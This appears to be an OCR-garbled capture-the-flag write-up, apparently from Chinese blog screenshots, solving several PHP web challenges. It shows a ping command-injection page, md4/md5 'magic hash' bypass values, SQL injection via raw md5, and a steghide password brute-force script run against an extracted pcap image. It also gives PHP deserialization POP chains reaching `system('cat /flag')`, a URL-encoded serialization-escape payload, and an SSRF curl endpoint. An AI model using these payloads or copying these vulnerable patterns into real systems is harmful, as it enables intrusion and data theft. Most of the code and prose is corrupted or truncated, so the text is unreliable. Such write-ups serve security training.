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<?php
highlight_file (" index. php~);

if (preg_match("/flag/i", $_GET[("ip”

system{“ping -c¢ 3 $_GET[ip]™):
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<br /></span>
{/code><?php
$flag = “flag{I like gwb web}”;

Funhash

Funhash

Tphp A
include 'econr
highlight_filel

if (5_GET["hashl”] != hash("md4”, $_GET["hashl”1))

hash?’ ] $ GET[ hash3d" ] od5($_GET[ hash2’]) ! md5 (3_GET[ hash3’ ]))

$query = T"SELECT * FROM flag WHERE password = '~ . md3($_GET[ hashd”], true)
$result = 3Jmysqli-query($query) .
$row = Jresult->fetch_assoc();

var_dump ($row) ;
Sresult->free()
$mysqli-rclosel)

a

level 1 failed

Level1 FIJ¥ tn0e+2E % 5 H.md4 % 5 4K 1H 9 0e+2i 4 i (E g2

hash1=0e399638706240815825137256701449

0e399638706240815825137256701449

OXSFE

0e317056297593126852615189736158
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Level2 Level3 I A AT
Leveld FIiX 58 3 & B —F E £ H 84T https://blog.csdn.net/iczfy585/article/details/106081299
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areay(3) [ [id"]=» string{1) *1° [*Mlag"]=> s'l[mgf,!-n “Mag[y0u will ke hash]

"passward”]= > string(32) "641ec 3B5cb6a551683 1 adEbe ) 2cBad1" |
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upload
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Wireshark - R HTTP I (top stream eq 1) data prapng »

POST fateghide.php HTTR/1.1
Host: 192.168.109.132
user-agent : i
Accept extfhtml , application/xhtmlixml
Accept nguage: zh-CN; zh;q=0.8;2h-TH;q
L f gzip; deflate
Content - Type: tipart/form-data; boundary 90619977 2450352103 3THS65ER52
content-Length: 31586
igin: http:/f192.168.109.132
on: keep-alive
: http://192.168.109.132/
upgrade- Insecurs -Requests: 1

applic
7. 2h-HK;ge@. 5, en-US;g=0.

29061997 72450357103 378R650802
content-Disposition: form-data; names="file"; filename="steghide.jpg”
content-Type: image/ipeg
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(A0 .6, L (<Rb.LELT. LU .
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- 1 8. 209008 192.168,189.1 68,189,132 HTTP 564 GET S/ HTTRS1.1
ke 2 0202181 192.168.109.132 192.168.109.1 HTTP 650 HTTRf1.1 200 OK (text/html)
3 11.814358 192.168,189.1 192.168.109.1332 TCP 1514 61881 + 83 [ACK] Seqel Ack=1 Win=51
4 11,1436 192.168,189.1 192. 168,189,132 TCP 1514 61881 -+ B2 [ACK] Seq=1449 Ack=1 Win
511,914 360 192.168.1089.1 192.168.1859.132 TP 1514 G181 - B [ACK] Seq=2897 Ack=1 Win
611814363 192.168,189.1 192.168,1089.132 TCP 1514 61881 + B9 [ACK] Seq=4345 Ack=1 Win
7 11,914364 192.168,199.1 192.168.109.132 TCP 1514 61881 « B8 [ACK] Seq=5793 Acksl Win
811.914364 192.168.199.1 192.168.109.132 e 1514 61881 - 89 lALK] Seqei2al Ack=1l Win
9 11.914365 192.168,189.1 192, 168,189,132 TCP 1514 61881 + B8 [ACK] Seq=B689 Ack=1 Win
18 11914366 192.168.189.1 19%.168. 185,132 TCP 1514 G1BBL = BB [ACK] Seq=18137 Ack=1 Wi
¢
<meta charset="utf-8">\n
<hady>
<form action="steghide.php™ method="past™ \n
enctype="sultipart/fora-data™> \n
<label for="file®siit#¢flabel> ‘o
<input type ile” name="file™ id="file™ /> AT
i gt i Sacssubalts _ualug=1 7" f» Yn

Yt<l--i use steghide with a good password-->\n

</body> \n
</htal»\n

B3R M# R T steghide kb 38 3044

driftnet -f data.pcapng -d /root/




LT ] *‘l
driftnet-5f4..

NiH(F) ThiE(A) mSR(E) Z=|/(V) FMENH)

root@kali:~/Desktop# driftnet -f /root/Desktop/data.pcapng -a -d froot/D

D top/ ocuments/ Downloads/

root@kali:~/Desktop# driftnet -f /root/Desktop/data.pcapng -a -d /root/Desktop/
/root/Desktop//driftnet-5f4234296b8b4567 . jpeg

oEm—KEA
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for line in “cat $2° ;do
steghide extract -sf $1 -p $line > /dev/null 2

if $? -eq © then
echo $1line




./bruteStegHide.sh test.jpg passwd.txt
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o topsoloZ T ¥ midsolo 1k K J5 ¥ Al -> midsolofidi & __invoke() ->
Gank()eg % stristr($this->name, ‘Yasuo’) ifi i name=jungle3t ->
jungletfili & toString() > KS() -> system(‘cat /flag’)
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struct(Enam

$name;

function TP()M{
(gettype(fthis->name) “function" gettype(s - »name) “object™){
Lname fthis->name;

fname();

lo{

$name;

struct($nas

= > ndme dSmlmc';

askeup(){
e "Yasuo'){
= Fname "Yasuo';

“"Ho Yasuo! No Soul!l o

n Gank(){
(Ethiz->name, "Yasuo')){

"Are you orphan?in®;

https://blog.csdn.netfweixin_43610673

class midsolo{
$name;

construct { $nam:
$name;

__wakeup(){
- >name "Yasuo'){
- >name "Yasuo';
"No Yasuo! No Soul!

function _ invoke(){
ithis->Gank();

function Gank(){
(stristr(fthis->name, 'Yasuo')){

mpp—p— W
echo "Are you orphant :

{

echo "Must Be Yasuo!

class jungle{
$name

function construg! { $name "Lee Sin"){
ithis->name - $name;

function :':q()i
ystem("cat .-"”-'li_'.“)il

function toString(){
fthis->Ks();
=

hitps://blog.csdn.netfweixin_43610673




stristr()E& %
&+ "world" 7£ "Hello world!" hfyE—HH, FHHERIFEFFSRIIRAERS:

<?php
echo stristr("Hello world!™,"WORLD");
>

4 i — B &8 Flstristr($this->name, ‘Yasuo')iX B #iname L /E F /7 5 AR W AT DU & toString(), & T —Blecho#B 2 S55EH, i
AHTEVET T
HoOWRT —TF

public $foo;

public function _ construct($foo)

{
$this->foo $foo;

public function __ toString() {
echo

system( )

function Gank($class){
if (stristr($class,
echo
s
else{

echo

$class new TestClass(
$a Gank($class);
?>

Yawoo it best
PR e — 2

20200825 00 kL

00825 00 14
2020,/08/22 VB2 T40 11 php 2020/06/11 1254 3 aaa b J020/ 0425 1844 109
ey et 20B0/03/24 1640

s 2020,/00,/24 16:39 1,350 382 DAVWA-master zip 2020/08,25 0052 £33

e php 2020/06/11 1314 240 phae phar 201 3/05,/09 2056 23 phgenis phe

ANH00E 18R
phphiyAdmin 2020/08/25 0034 2013 webfuzhuphp B 7581 1354003 T8
4 T E AR R 525120 TINFER
Catchable fatal error: Method TestClass-_toString() must retum a sting
il in DEphpStudy\PHPTU RSN WWWhindex. php on ke 22




<?php
class topsolo{
protected $name;

public function _ construct($name

$this->name $name;

class midsolo{
protected $name;
public function _ construct($name){

$this->name $name;

class jungle{
protected $name :
public function _ construct($name

$this->name $name;

}

$aa=serialize(new topsolo(new midsolo(new jungle)));

BH —A__wakeup(YBKUBEANHigeid, NRT T Knamei B AR T EKE

class midsolo{
$name;

function __ construct{fname){
$this->name $name;

function _ wakeup(){

(FTh1s->name Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";

hitps://blog.csdn.netfweixin_43610673

function check{%data)

{
(stristr($data, 'name')

("Name Passin");

$data;

hitps://blog.csdn.netiweixin_43610673




HRRENFZRHRE —H\ON\OREH2 M FAF ";s:7:“0"0pass;s: 155" EX B FH 2211
PHP i1 3 BN RIEN TR :
FIDASCTF I A $# K1 E A £ https://blog.csdn.net/weixin_43610673/article/details/105754341

Pusername=test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:
0:7: :3:{S:7: 0:6: :1:{S:7:

B J5 4T urlencode

Pusername=test%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5CO%5CO%2A%5CO%5CO%2A%5CO%5CO%2A%5CO%5CO%2A%5CO%5CO%2A%5C
0%5C0%2A%5C0%5C0%2A%5C0&password=%3Bs%3A4%3A%22test%22%3B0%3A7%3A%22tops010%22%3A1%3A%7BS%3A7%3A%22%00%2A%00%5C6
E%5C61%5C6D%5C65%22%3B0%3A7%3A%22mids010%22%3A3%3A%7BS%3A7%3A%22%00%2A%00%5C6E%5C61%5C6D%5C65%22%3B0%3A6%3A%22ju
ngle’%22%3A1%3A%7BS%3A7%3A%22%00%2A%00%5C6E%5C61%5C6D%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7Ds%3A1%3A%22a%22%
3Bs%3Al1%22a

half_infiltration

half_infiltration

ETABBNMEZRS#ESban ip, RERH— L@

HMMESR, EARMindex.phpR B3 FE—1uploads; 1. &
MEFAMOEEhtmCELE2E, ARIhEEREZE

Flag:
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<?php
highlight file(_ FILE_);

$flag=file get contents(

class Pass

{

function read()

{
ob_start();

global $result;
print $result;

class User

{

public $age,$sex,$num;

function _ destruct()
{
$student $this->age;
$boy $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string(%$a)) (is_string($boy)) (is_object($student)))
{
ob_end_clean();
exit();
)i
global $%a;
$result=$GLOBALS[
ob_end_clean();

if (isset($_GET[ 1)) {
unserialize($ GET[ 1)->get_it();




public $age,$sex,$num;

new User;
age new Pass;
sex 5

num

new User;
age new Pass;
sex 5

num this;

$student
thoy
fa
$student->$boy
(T(is_str

string($boy))

t($student)))




{code>{span style="color: #000000"
span style="color: #0000BB™>&1t;?php<br />highlight_file</span>{span style="color: #0077
span’
code> Pphp
APER L A A 350008 AT ELAES00000! 156 1 1A (1T Sl by g 35, G50 278 K 1y pof
Surl $ GET[ we_have done ssrf here could you help to continuve it'] 77 false;
if (preg_match{“/flag/var apache|conf|proc|log/i” , $url)) {
die(");

if($url)

{

Sch = curl_init();

curl_setopt ($ch, CURLOPT_URL, Surl):
curl setopt($ch, CURLOPT HEADER, 1);
curl_exec($ch);

curl_close ($ch) ;

<?php

$url $ GET[
if(preg_match( ,%url)){
die("");
)i

$ch curl_init();
curl _setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);

curl_exec($ch);
curl _close($ch);

=
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Fiburp intrudergl, = 51~/ il 4 1E

gophers5

A EL

file_put_contents() , B
BIE], exp:
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